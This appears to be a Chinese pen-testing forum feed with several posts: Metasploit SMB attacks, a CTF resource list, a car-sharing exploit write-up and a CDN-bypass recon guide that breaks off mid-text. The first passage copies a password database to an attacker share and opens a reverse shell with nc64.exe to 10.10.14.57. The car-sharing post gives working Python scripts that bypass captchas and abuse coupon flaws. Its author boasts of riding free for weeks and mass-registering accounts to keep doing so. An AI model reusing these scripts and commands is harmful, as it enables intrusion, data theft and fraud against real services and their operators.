<p>一旦受害者在运行提示符或命令提示符内运行恶意代码，我们就会在 Metasploit 上获得一个 Meterpreter 会话。<br /><img src="https://img-blog.csdnimg.cn/img_convert/defeb10a487b69ee81064ed1afa07402.png" alt="" /></p>
<h3><a name="t19"></a><a id="SMB_DOS__455"></a>SMB DOS 攻击</h3>
<p>SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。</p>
<p>该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误，请将此模块作为服务运行，并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档，则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。</p>
<pre class="prettyprint" contenteditable="false"><code class="has-numbering">use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) &gt; set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) &gt; exploit
</code></pre>
<ul class="pre-numbering">
<li>1</li>
<li>2</li>
<li>3</li>
</ul>
<h3><a name="t20"></a><a id="_467"></a>远程文件传输和运行</h3>
<p>文件传输用法如下：</p>
<p>利用著名的impacket包里的smbserver.py，进行文件传输。<br />目录根据你自己定smbserver.py share ‘/root/exp’</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/1cc490d9596ce7e8ecaaea333a343c75.png" alt="image.png" /></p>
<p>然后在监听的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/1f4eeee671269d17bea170bd87f38c0b.png" alt="image.png" /></p>
<p>还可以远程运行程序；</p>
<p>开启impacket里的smbsever服务，把ms15-051x64和nc64.exe放到我指定的共享文件，</p>
<p><code>python smbserver.py Share '/root/htb/bastard'</code></p>
<p>在shell里执行反弹；</p>
<p><code>\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"</code></p>
<p>另外本机监听443.收到，搞定</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/736e1c8c3ac7996a2dd0dbf7b5ee361c.png" alt="image.png" /></p>
<h2><a name="t21"></a><a id="_497"></a>总结</h2>
<p>对于SCF文件攻击，我们也可以通过下列方法来防止这种攻击的发生：<br />1、使用Kerbeors认证或SMB签名；</p>
<p>2、禁用共享文件给未认证用户所提供的写入权限；</p>
<p>3、确保使用的是NTLMv2密码并增加口令的复杂程度。</p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e4%b9%8b%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98%e5%ad%a6%e4%b9%a0/</guid>
                    </item>
				                    <item>
                        <title>CTF (Capture The Flag) Study Resources</title>
                        <link>https://itprosec.com/community/pen-testing/ctf-capture-the-flag-study-resources/</link>
                        <pubDate>Tue, 16 Feb 2021 02:14:30 +0000</pubDate>
                        <description><![CDATA[Learning
- Introduction to common CTF techniques such as cryptography, steganography, web exploits (Incomplete)- Tips and tricks relating to typical CTF challenges/scenarios- Explanation...]]></description>
                        <content:encoded><![CDATA[<h3>Learning</h3>
<ul>
<li><a href="http://ctfs.github.io/resources/">http://ctfs.github.io/resources/</a><span> </span>- Introduction to common CTF techniques such as cryptography, steganography, web exploits (Incomplete)</li>
<li><a href="https://trailofbits.github.io/ctf/forensics/">https://trailofbits.github.io/ctf/forensics/</a><span> </span>- Tips and tricks relating to typical CTF challenges/scenarios</li>
<li><a href="https://ctftime.org/writeups">https://ctftime.org/writeups</a><span> </span>- Explanations of solutions to past CTF challenges</li>
</ul>
<h3><a class="anchor" href="https://dev.to/atan/what-is-ctf-and-how-to-get-started-3f04#resources" name="resources"></a>Resources</h3>
<ul>
<li><a href="https://ctftime.org/">https://ctftime.org</a><span> </span>- CTF event tracker</li>
<li><a href="https://github.com/apsdehal/awesome-ctf">https://github.com/apsdehal/awesome-ctf</a><span> </span>- Comprehensive list of tools and further reading</li>
</ul>
<h3><a class="anchor" href="https://dev.to/atan/what-is-ctf-and-how-to-get-started-3f04#tools-that-i-use-often" name="tools-that-i-use-often"></a>Tools (That I use often)</h3>
<ul>
<li><a href="https://github.com/ReFirmLabs/binwalk">binwalk</a><span> </span>- Analyze and extract files</li>
<li><a href="https://portswigger.net/burp">burp suite</a><span> </span>- Feature packed web penetration testing framework</li>
<li><a href="http://www.caesum.com/handbook/Stegsolve.jar">stegsolve</a><span> </span>- Pass various filters over images to look for hidden text</li>
<li><a href="https://www.gnu.org/software/gdb/">GDB</a><span> </span>- Binary debugger</li>
<li>The command line :)</li>
</ul>
<h3><a class="anchor" href="https://dev.to/atan/what-is-ctf-and-how-to-get-started-3f04#practice" name="practice"></a>Practice</h3>
<p>Many of the "official" CTFs hosted by universities and companies are time-limited competitions. There are many CTFs however that are online 24/7 that can be used as practice and learning tools. Here are some that I found to be friendly for beginners.</p>
<ul>
<li><a href="https://ctflearn.com/">https://ctflearn.com</a><span> </span>- A collection of various user-submitted challenges aimed towards newcomers</li>
<li><a href="https://overthewire.org/wargames/">https://overthewire.org/wargames/</a><span> </span>- A series of progressively more difficult pwn-style challenges. (Start with the bandit series)</li>
<li><a href="https://2018game.picoctf.com/">https://2018game.picoctf.com/</a><span> </span>- Yearly time-limited CTF now available to use as practice</li>
</ul>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/ctf-capture-the-flag-study-resources/</guid>
                    </item>
				                    <item>
                        <title>逻辑漏洞组合利用，看我如何免费开共享汽车</title>
                        <link>https://itprosec.com/community/pen-testing/%e9%80%bb%e8%be%91%e6%bc%8f%e6%b4%9e%e7%bb%84%e5%90%88%e5%88%a9%e7%94%a8%ef%bc%8c%e7%9c%8b%e6%88%91%e5%a6%82%e4%bd%95%e5%85%8d%e8%b4%b9%e5%bc%80%e5%85%b1%e4%ba%ab%e6%b1%bd%e8%bd%a6/</link>
                        <pubDate>Sat, 27 Jun 2020 13:10:05 +0000</pubDate>
                        <description><![CDATA[首先声明，本文是我真实的挖洞经历。撰写本文时厂商已修复该漏洞，相关漏洞也提交给了补天。本文不涉及任何利益相关，给出的代码也对URL做了处理，纯粹是挖洞经验的总结和技术分享，望周知！

 记一次薅羊毛实战–从抓包分析到脚本自动化不废话直接说挖洞的整个过程。如果开过共享汽车的朋友应该都知道，因为共享汽车还在推广阶段，各个厂商都会有给新用户发各种优惠券，什么免时长券，xx金额的无...]]></description>
                        <content:encoded><![CDATA[<p><strong><span class="f24"><span>首先声明，本文是我真实的挖洞经历。撰写本文时厂商已修复该漏洞，相关漏洞也提交给了补天。本文不涉及任何利益相关，给出的代码也对URL做了处理，纯粹是挖洞经验的总结和技术分享，望周知！<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnRC0.png" /></div>
<p><strong><span class="f24"><span> <br />记一次薅羊毛实战–从抓包分析到脚本自动化<br />不废话直接说挖洞的整个过程。<br />如果开过共享汽车的朋友应该都知道，因为共享汽车还在推广阶段，各个厂商都会有给新用户发各种优惠券，什么免时长券，xx金额的无门槛券之类的很多。而本文就是从优惠券的入手，发现其中存在逻辑漏洞，而且还不止一个。最终将多个逻辑漏洞组合利用，免费开上了共享汽车。<br /><img src="https://www.privacypic.com/images/2020/06/26/xLnGnq.png" /> <br />但是思路不能局限啊，不知道为什么我就想到优惠券那里是不是也存在越权漏洞呢。也许是之前写那个薅10元的无门槛券的代码太上头了吧。因为抓包的时候发现每次支付订单的时候，客户端都会向服务端请求当前的优惠券信息，而app的请求中是将优惠券分为了两类，是针对当前订单可用与不可用两种。<br />但是在我抓包分析之后发现，这个优惠券是否能使用完全由客户端来做判断的，服务端只是将可用与不可用的优惠券分类发送给客户端。而在结算时，会显示所有优惠券，但是不满足该订单条件的是无法被选择的。比如这里就以过期的优惠券为例。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnxT6.png" /></div>
<p><strong><span class="f24"><span> <br />很明显过期的优惠券在订单结算时是无法选用的。那么思路就是我在抓包时，直接替换并加入多个已过期的优惠券id。为方便演示，我就直接在模拟器中改包。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnSoU.png" /></div>
<p><strong><span class="f24"><span> <br />我这里选的是短租7天的套餐，由于没有我当前账户里没有可选的优惠券，所以newCouponList则默认为空。此时我将前面记录的过期的多个优惠券id，填入其中重新发包。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnkYZ.png" /></div>
<p><strong><span class="f24"><span> <br />此时可以看到订单的金额减下来了。<br /><br />金额也由之前的896变为了750。此时我们可以选择直接支付订单了，但是不要以为只便宜了这么一点，因为这里只放了两张优惠券的id进去，当你的优惠券足够多（不管是否过期）的情况下，是可以都添加进去的，直到订单的金额最小值。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnJkn.png" /></div>
<p><strong><span class="f24"><span> <br />因为无论使用多少张优惠券订单的金额也不可能为0，也就意味着订单的金额是有一个最小值的。<br />在我的测试后发现，当优惠券金额大于车辆的租金金额时，也仅能抵扣租金部分的金额，基本服务费这些还是会有的，不过这样的逻辑漏洞也已经会造成了大量的经济损失。<br />虽然前端限制了一笔订单只能使用一张优惠券，但是后端并没有作校验，也就导致了多张优惠券id可以组合利用。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnKv3.png" /></div>
<p><strong><span class="f24"><span> <br />但是你以为这样就结束了吗。然而并没有，逻辑漏洞并不仅仅这一点，还有一个更恶心的越权，就是可以越权使用别人账户里的优惠券id？？？这种测试思路很简单，也就是假如我有A,B两个账户，我同样用上面的测试方法，用A账户走上面的流程抓包将优惠券id替换为B账户的优惠券id。测试后发现同样可以，这里我就不演示了。可以更骚。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLn9uH.png" /></div>
<p><strong><span class="f24"><span> <br />如果说上面操作的并不能真正的白嫖，那么下面就换个角度。因为租车分为两种模式，一种短租，一种为共享。由于短租有基本服务费的限制，而共享模式没有，但原理是相同的。<br />最骚的是，同一张优惠券的id可以被反复利用。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnCih.jpg" /></div>
<p><strong><span class="f24"><span> <br />这是暑假期间一次使用共享汽车最后订单支付的截图，由于订单结束到支付完成的过程，总共有十分钟的过程，所以可以在10分钟内走完上述的流程，最终实现0元支付，白嫖共享汽车。<br /><br />但是你真的会以为我真的会抓包来做这么繁琐的事情吗？？<br /><br />当然不会，作为一只渗透狗，思路不骚怎么行！<br /><br />肯定直接上py脚本，组合利用上面的多个越权漏洞，走完整个业务逻辑。上面抓包只是为了分析业务逻辑的漏洞。这里我把我写的payload给大家展示一下，关键信息已经处理了。但是代码写的很不规范，不过能用，不要太在意啦。<br /><br />payload1.py<br />import requests<br />import json<br />import base64<br />from PIL import Image<br />import pytesseract<br />import urllib3<br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br />headers = {<br />    'Accept': 'application/json, text/plain, */*',<br />    'Referer': 'https://xxxxxxxxx/',<br />    'Origin': 'https://xxxxxxxxx',<br />    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',<br />    'Content-Type': 'application/json;charset=UTF-8',<br />}<br /><br />data = '{"_channel_id":"09","_client_version_no":"1.8.0"}'<br />import sys<br />sys.argv<br />s = requests.session()<br />r = s.get('https://xxxxxxxxx/#/login?from=index', headers=headers,verify=False)<br />r = s.post('https://xxxxxxxxx/los/zuche-intf-login.graphicTokenImg', headers=headers, data=data)<br />ImgBase = json.loads(r.text)<br /><br />with open('temp.png','wb') as f:<br />    f.write(base64.b64decode(ImgBase))<br />im = Image.open('temp.png')<br />im = im.convert('L')<br />im = im.point(lambda i: i &gt; 140, mode='1').save('temp_.png')<br />im = Image.open('temp_.png')<br />code = pytesseract.image_to_string(im)<br />print('图片验证码识别成功：',code)<br />phone = input('请输入手机号：')<br />data = '{"otpType":"moblieMsgLogin","phone":"%s","dynamicToken":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (phone,code)<br /><br />r = s.post('https://xxxxxxxxx/los/zuche-intf-login.sendAllSmsOTP', headers=headers, data=data)<br />print(r.text)<br />if json.loads(r.text) == '000000':<br />    print('触发平台发送验证码成功！')<br />    cookies = requests.utils.dict_from_cookiejar(s.cookies)<br />    with open("cookies.txt", "w") as f:<br />        json.dump(cookies, f)<br />else:<br />    print('发送失败！')<br /><br />payload2.py<br />import requests<br />import json<br />import urllib3<br />import sys<br />import time<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br />requests.packages.urllib3.disable_warnings()<br /><br />headers = {<br />    'Accept': 'application/json, text/plain, */*',<br />    'Referer': 'https://xxxxxxxxx/',<br />    'Origin': 'https://xxxxxxxxx',<br />    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',<br />    'Content-Type': 'application/json;charset=UTF-8',<br />}<br /><br />with open("cookies.txt", "r") as f:<br />    load_cookies=json.load(f)<br />s = requests.session()<br />s.cookie = requests.utils.cookiejar_from_dict(load_cookies)<br /><br />with open('phone.txt')as f:<br />    phone = f.read()<br />code = sys.argv<br />ip = sys.argv<br />data = '{"phone":"%s","code":"%s","_channel_id":"09","_client_version_no":"1.8.0"}'% (phone,code)<br /><br />r = s.post('https://xxxxxxxxx/los/zuche-intf-login.loginByMobile', headers=headers,data=data)<br /><br />data = '{"pageNo":1,"pageSize":10,"businessTypeList":,"_channel_id":"09","_client_version_no":"1.8.0"}'<br /><br />r = s.post('https://xxxxxxxxx/los/zuche-intf-rent.orderList', headers=headers, data=data)<br />r = json.loads(r.text)<br />orderNo = r<br />umNo = r<br />nc = 'NC608347128947986433'<br />nowtime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())<br />try:<br />    data = '{"memberNo":"%s","orderNo":"%s","couponCalcFlag":1,"couponId":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (<br />    umNo, orderNo, nc)<br />    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.getOrderDetail_v_3_2_2', headers=headers, data=data)<br />    data = '{"memberNo":"%s","orderNo":"%s","couponId":"%s","_channel_id":"09","_client_version_no":"1.8.0"}' % (<br />    umNo, orderNo, nc)<br />    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.orderReturnCarSettle', headers=headers, data=data)<br />    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.getOrderDetail_v_3_2_2', headers=headers, data=data)<br />    data = '{"memberNo":"%s","orderNo":"%s","remarks":"","appScore":1,"score":4,"scoreItem3":5,"scoreItem4":5,"_channel_id":"09","_client_version_no":"1.8.0"}' % (<br />    umNo, orderNo)<br />    r = s.post('https://xxxxxxxxx/los/zuche-intf-union.orderComment', headers=headers, data=data)<br />    print('success')<br />except:<br />    print('fail')<br /><br />以上两个payload是组合利用的。大家思考一下，如果不通过抓包的方式要想实现优惠券id的替换，那肯定要用脚本完成登录流程。所以我的利用思路就是利用脚本登录账户后，查找账户中未支付的订单，替换优惠券id完成支付流程。因为上面说过他们的业务逻辑是订单完成后有10分中的支付时间，如果10分钟未手动完成支付，则自动向支付宝发起扣款完成支付。而其中我就是用php来接收参数，再用php调用Python脚本来执行，其中也踩了很多坑。<br /><br />Php调用Python脚本踩过的一些坑<br />所以我们可以把payload，放到服务器上，写一个简单的前端页面，接收参数传给后端再给py处理，完成整个漏洞的利用。就这样做成了一个接口，每次自己用完车之后就可以愉快地玩耍啦。<br /><br />有人可能会问登录账号的时候如何同时解决图片验证码和手机验证码？<br /><br />图片验证码我是自己写的一个匿名函数来做的二值化，再拿给OCR识别，因为他们的验证码真的很简单，二值化处理后OCR的识别率基本上有99%，没啥问题。<br />如何解决手机验证码，也是我为什么要分成两个payload的原因。这其中存在用户交互的过程，需要用户的验证码，所以payload1.py就是触发验证码，将cookie写入文本文件中。payload2.py中读取之前的cookie和用户的验证码完成登录逻辑完成支付。<br />于是乎，就这样白嫖了半个月的共享汽车，顺便也把这一堆的漏洞在补天上提交了。<br /><br />还有例如这类漏洞。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnXa9.png" /></div>
<p><strong><span class="f24"><span> <br />所以你以为到这里就结束了？？<br />在他们修复了漏洞之后，看上去好像是不能利用，但是我发现他们的程序猿思考问题不够全面啊。<br />我前面说过这个漏洞是我用多个逻辑漏洞组合实现的。他们的开发，只是把优惠券id可以被反复利用给修补上了，但是并没有把越权的漏洞给补上，这还不是治标不治本嘛。<br />所以第二天我又想出了更骚的思路，我用接码平台批量注册了一堆小号。按照他们的业务逻辑，新注册的用户不管用户有没有实名认证都会向账户里直接发放优惠券。<br />我真的很懵逼，他们的程序猿是什么鬼才逻辑。我猜他们是这样想的，反正用户用手机号注册了就发放优惠券，反正他没有实名认证就用不了优惠券。但是根本没想到越权这些，直接使用别人账户里的优惠券。<br /></span></span></strong></p>
<div class="image-big"><img src="https://www.privacypic.com/images/2020/06/26/xLnNUJ.png" /></div>
<p><strong><span class="f24"><span> <br />换汤不换药，老壶装新酒！<br />接着白嫖，哈哈哈。<br />然鹅过了几天，他们似乎发现了把这个越权也修复了。不过真的挺有意思。<br />总结一下，梳理其中用到的逻辑漏洞。<br />服务端未校验优惠券是否符合该订单的规则（共享还是短租）<br />服务端未校验优惠券状态（是否过期）<br />服务端未校验优惠券是否属于该用户<br />服务端未限制订单优惠券使用数量<br />同一优惠券能够被反复使用（与是否过期无关）<br />未校验新注册用户是否实名认证，直接发放优惠券<br />我就是将这6个逻辑漏洞组合利用，从而实现白嫖共享汽车。<br />我觉得有的时候挖洞真的不要局限于xss，sql注入这一类漏洞。更多时候可以从业务逻辑入手，感觉可以发现很多意思的东西，哈哈。<br />PS:<br />其实不要看这些漏洞都挺简单的，但是挖洞的时候真的不像想象的那么简单。因为这是真实的漏洞场景，周末的时候，我一个人抱着笔记本电脑蹲在学校对面的中信大道上，因为共享汽车都是停在路边的，要完成整个支付逻辑，必须要在汽车旁。当时为了抓包，手机开着热点，在大街上蹲了一上午。路人都像看傻子一样看着我，那又能怎样。做自己的事情就好了。</span></span></strong></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/pen-testing/">Pen Testing</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/pen-testing/%e9%80%bb%e8%be%91%e6%bc%8f%e6%b4%9e%e7%bb%84%e5%90%88%e5%88%a9%e7%94%a8%ef%bc%8c%e7%9c%8b%e6%88%91%e5%a6%82%e4%bd%95%e5%85%8d%e8%b4%b9%e5%bc%80%e5%85%b1%e4%ba%ab%e6%b1%bd%e8%bd%a6/</guid>
                    </item>
				                    <item>
                        <title>绕过CDN查找真实IP方法</title>
                        <link>https://itprosec.com/community/pen-testing/%e5%b7%a5%e5%85%b7%e7%bb%95%e8%bf%87cdn%e6%9f%a5%e6%89%be%e7%9c%9f%e5%ae%9eip%e6%96%b9%e6%b3%95/</link>
                        <pubDate>Thu, 18 Jun 2020 18:10:18 +0000</pubDate>
                        <description><![CDATA[x01 验证是否存在CDN

方法1：
很简单，使用各种多地 ping 的服务，查看对应 IP 地址是否唯一，如果不唯一多半是使用了CDN， 多地 Ping 网站有
方法2：
使用 nslookup 进行检测，原理同上，如果返回域名解析对应多个 IP 地址多半是使用了 CDN。有 CDN 的示例：




1
2
3
4
5
6
7
8
9
...]]></description>
                        <content:encoded><![CDATA[<div class="view-meta">x01 验证是否存在CDN</div>
<div class="view-content">
<h3>方法1：</h3>
<p>很简单，使用各种多地 ping 的服务，查看对应 IP 地址是否唯一，如果不唯一多半是使用了CDN， 多地 Ping 网站有：<br />http://ping.chinaz.com/<br />http://ping.aizhan.com/<br />http://ce.cloud.360.cn/</p>
<h3>方法2：</h3>
<p>使用 nslookup 进行检测，原理同上，如果返回域名解析对应多个 IP 地址多半是使用了 CDN。有 CDN 的示例：</p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">www.</code><code class="python value">163.com</code></div>
<div class="line number2 index1 alt1"><code class="python plain">服务器: public1.</code><code class="python value">114dns</code><code class="python plain">.com</code></div>
<div class="line number3 index2 alt2"><code class="python plain">Address: </code><code class="python value">114.114</code><code class="python plain">.</code><code class="python value">114.114</code></div>
<div class="line number4 index3 alt1"><code class="python plain">非权威应答:</code></div>
<div class="line number5 index4 alt2"><code class="python plain">名称: </code><code class="python value">163.xdwscache</code><code class="python plain">.ourglb0.com</code></div>
<div class="line number6 index5 alt1"><code class="python plain">Addresses: </code><code class="python value">58.223</code><code class="python plain">.</code><code class="python value">164.86</code></div>
<div class="line number7 index6 alt2"> </div>
<div class="line number8 index7 alt1"><code class="python value">125.75</code><code class="python plain">.</code><code class="python value">32.252</code></div>
<div class="line number9 index8 alt2"><code class="python plain">Aliases: www.</code><code class="python value">163.com</code></div>
<div class="line number10 index9 alt1"> </div>
<div class="line number11 index10 alt2"><code class="python plain">www.</code><code class="python value">163.com</code><code class="python plain">.lxdns.com</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<p><span>无 CDN 的示例：</span></p>
<table class="syntaxhighlighter  python" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="python plain">xiaix.me</code></div>
<div class="line number2 index1 alt1"><code class="python plain">服务器: public1.</code><code class="python value">114dns</code><code class="python plain">.com</code></div>
<div class="line number3 index2 alt2"><code class="python plain">Address: </code><code class="python value">114.114</code><code class="python plain">.</code><code class="python value">114.114</code></div>
<div class="line number4 index3 alt1"><code class="python plain">非权威应答:</code></div>
<div class="line number5 index4 alt2"><code class="python plain">名称: xiaix.me</code></div>
<div class="line number6 index5 alt1"><code class="python plain">Address: </code><code class="python value">192.3</code><code class="python plain">.</code><code class="python value">168.172</code></div>
</div>
</td>
</tr>
</tbody>
</table>
<h2>0x02 绕过 CDN 查找网站真实 IP</h2>
<h3>方法1:查询历史DNS记录</h3>
<p> </p>
<p>1）查看 IP 与 域名绑定的历史记录，可能会存在使用 CDN 前的记录，相关查询网站有：<br />https://dnsdb.io/zh-cn/ ###DNS查询<br />https://x.threatbook.cn/ ###微步在线<br />http://toolbar.netcraft.com/site_report?url= ###在线域名信息查询<br />http://viewdns.info/ ###DNS、IP等查询<br />https://tools.ipip.net/cdn.php ###CDN查询IP</p>
<p> </p>
<p>2）利用SecurityTrails平台（https://securitytrails.com/），攻击者就可以精准的找到真实原始IP。他们只需在搜索字段中输入网站域名，然后按Enter键即可，这时“历史数据”就可以在左侧的菜单中找到。</p>
<p>如何寻找隐藏在CloudFlare或TOR背后的真实原始IP</p>
<p><span></span><img title="1559276259823660.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276259823660.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p>除了过去的DNS记录，即使是当前的记录也可能泄漏原始服务器IP。例如，MX记录是一种常见的查找IP的方式。如果网站在与web相同的服务器和IP上托管自己的邮件服务器，那么原始服务器IP将在MX记录中。</p>
<h3> </h3>
<h3>方法2:查询子域名</h3>
<p>毕竟 CDN 还是不便宜的，所以很多站长可能只会对主站或者流量大的子站点做了 CDN，而很多小站子站点又跟主站在同一台服务器或者同一个C段内，此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。</p>
<p>下面介绍些常用的子域名查找的方法和工具：</p>
<p>1）微步在线(https://x.threatbook.cn/)</p>
<p>上文提到的微步在线功能强大，黑客只需输入要查找的域名(如baidu.com)，点击子域名选项就可以查找它的子域名了，但是免费用户每月只有5次免费查询机会。如图：</p>
<p><img title="1559276301177885.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276301177885.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p>2）Dnsdb查询法。(https://dnsdb.io/zh-cn/)</p>
<p>黑客只需输入baidu.com type:A就能收集百度的子域名和ip了。如图：</p>
<p><img title="1559276328240824.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276328240824.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p>3）Google 搜索</p>
<p>Google site:baidu.com -www就能查看除www外的子域名，如图：</p>
<p><img title="1559276361586442.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276361586442.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p>4）各种子域名扫描器</p>
<p>这里，主要为大家推荐子域名挖掘机和lijiejie的subdomainbrute(https://github.com/lijiejie/subDomainsBrute)</p>
<p>子域名挖掘机仅需输入域名即可基于字典挖掘它的子域名，如图：</p>
<p><span>Subdomainbrute以windows为例，黑客仅需打开cmd进入它所在的目录输入Python subdomainbrute.py baidu.com –full即可收集百度的子域名，如图：</span></p>
<p><span><img title="1559276407283254.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276407283254.png" alt="1058583-20181009230838766-860479177.png" /></span></p>
<p><span>注：收集子域名后尝试以解析ip不在cdn上的ip解析主站，真实ip成功被获取到。</span></p>
<p> </p>
<h3>方法3：网络空间引擎搜索法</h3>
<p>常见的有以前的钟馗之眼，shodan，fofa搜索。以fofa为例，只需输入：title:“网站的title关键字”或者body：“网站的body特征”就可以找出fofa收录的有这些关键字的ip域名，很多时候能获取网站的真实ip，如图：</p>
<p><span><img title="1559276435463078.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276435463078.png" alt="1058583-20181009230838766-860479177.png" /></span></p>
<p> </p>
<h3>方法4:利用SSL证书寻找真实原始IP</h3>
<p>使用给定的域名</p>
<p>假如你在xyz123boot.com上托管了一个服务，原始服务器IP是136.23.63.44。 而CloudFlare则会为你提供DDoS保护，Web应用程序防火墙和其他一些安全服务，以保护你的服务免受攻击。为此，你的Web服务器就必须支持SSL并具有证书，此时CloudFlare与你的服务器之间的通信，就像你和CloudFlare之间的通信一样，会被加密（即没有灵活的SSL存在）。这看起来很安全，但问题是，当你在端口443（https://136.23.63.44:443）上直接连接到IP时，SSL证书就会被暴露。</p>
<p>此时，如果攻击者扫描0.0.0.0/0，即整个互联网，他们就可以在端口443上获取在xyz123boot.com上的有效证书，进而获取提供给你的Web服务器IP。</p>
<p>目前Censys工具就能实现对整个互联网的扫描，Censys是一款用以搜索联网设备信息的新型搜索引擎，安全专家可以使用它来评估他们实现方案的安全性，而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。Censys搜索引擎能够扫描整个互联网，Censys每天都会扫描IPv4地址空间，以搜索所有联网设备并收集相关的信息，并返回一份有关资源（如设备、网站和证书）配置和部署信息的总体报告。</p>
<p>而攻击者唯一需要做的就是把上面用文字描述的搜索词翻译成实际的搜索查询参数。</p>
<p>xyz123boot.com证书的搜索查询参数为：parsed.names：xyz123boot.com</p>
<p>只显示有效证书的查询参数为：tags.raw：trusted</p>
<p>攻击者可以在Censys上实现多个参数的组合，这可以通过使用简单的布尔逻辑来完成。</p>
<p>组合后的搜索参数为：parsed.names: xyz123boot.com and tags.raw: trusted</p>
<p><span><img title="1559276469987432.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276469987432.png" alt="1058583-20181009230838766-860479177.png" /></span></p>
<p> </p>
<p>Censys将向你显示符合上述搜索条件的所有标准证书，以上这些证书是在扫描中找到的。</p>
<p>要逐个查看这些搜索结果，攻击者可以通过单击右侧的“Explore”，打开包含多个工具的下拉菜单。What's using this certificate? &gt; IPv4 Hosts</p>
<p><img title="1559276494363607.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276494363607.png" alt="1058583-20181009230838766-860479177.png" /></p>
<p><span>此时，攻击者将看到一个使用特定证书的IPv4主机列表，而真实原始 IP就藏在其中。</span></p>
<p><span><img title="1559276514702250.png" src="https://www.hackliu.com/wp-content/uploads/image/20190531/1559276514702250.png" alt="1058583-20181009230838766-860479177.png" /></span></p>
<p> </p>
<p>你可以通过导航到端口443上的IP来验证，看它是否重定向到xyz123boot.com？或它是否直接在IP上显示网站？</p>
<p>使用给定的SSL证书</p>
<p>如果你是执法部门的人员，想要找出一个隐藏在cheesecp5vaogohv.onion下的儿童色情网站。做好的办法，就是找到其原始IP，这样你就可以追踪到其托管的服务器，甚至查到背后的运营商以及金融线索。</p>
